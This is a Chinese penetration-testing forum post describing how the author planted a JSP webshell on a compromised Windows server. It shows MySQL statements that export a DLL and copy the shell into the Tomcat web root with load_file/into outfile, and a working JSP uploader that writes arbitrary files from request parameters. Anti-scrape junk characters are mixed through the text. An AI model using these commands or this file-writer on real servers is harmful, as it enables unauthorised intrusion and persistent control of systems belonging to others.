中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。3 K+ b+ y) I3 q5 c( y. m

$ ^2 V  w& X  O2 G( m* t首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
# _& O7 x* Z, p安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)  o5 {" I% h5 g# Q* E, |( _
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
5 }" P  y: d8 c% C$ k/ u* K$ j1 show variables like '%plugin%';
1 \3 Z) e) K: \+ f) t后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功8 `3 B" t) _' i8 ^8 a6 p$ o
创建自定义函数似乎被拦截,一直失败。
! o% f& }* c' \  a/ {6 P" y: y) y后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限5 Z4 \+ v$ }- W# g
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp  M+ T# ~* T! j- F
用mysql执行语句:
4 q$ J- d8 E  K! V7 ~+ [1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'" o, o, O. @; x/ l/ C9 [( S+ o( ]
2 复制代码. N. s, y! u2 I( e) w% Q' d
后成功。
" B% r* w1 W9 S, Y" A, W但是访问后得到如下提示:
" M! K* y" U$ c3 g​500页面( Y. }, [2 x( t# A8 O' L, g

+ g9 b1 Y4 p$ L4 ^5 N# W# u4 Y3 ^* j2 D6 b
明显是MySQL的Win下版本自动添加转义符\n\r了# O$ u9 C0 a$ G/ m. Y
这样导致程序运行的悲剧。( w6 M( ?5 z  i3 ~" Q" {
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。, N% n9 \% y; u( }6 u
最后弄了这么个小脚本:3 L. V. r6 `) p$ y$ Q! c8 \6 `
01 <%@ page language="java" pageEncoding="gbk"%>( m: G; N4 ^5 H5 q0 ~# r
02 <jsp:directive.page import="java.io.File"/>6 h* {0 u) W3 ]* C) `3 @1 O5 `; X
03 <jsp:directive.page import="java.io.OutputStream"/>1 V. ]! N2 \" b: W6 G0 d' v
04 <jsp:directive.page import="java.io.FileOutputStream"/>5 A) O1 n/ E' B# Y# z* q* W' d
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
  d( C  D; m2 p7 a  j7 o9 x1 @* l06 error www.2cto.com
  `. a+ n6 b& e07 <%}}if(i==0){%># L  E, I) w: _5 }
08 ok' M' g- K. c7 I. x4 M
09 <%}%>% Z; w" k$ W1 [$ i1 F2 ]
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
. ], ]  b! J3 C3 O+ }就可以避免转义符让JSP的马儿运行500错误了。
: t2 N+ W8 q2 q, n




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2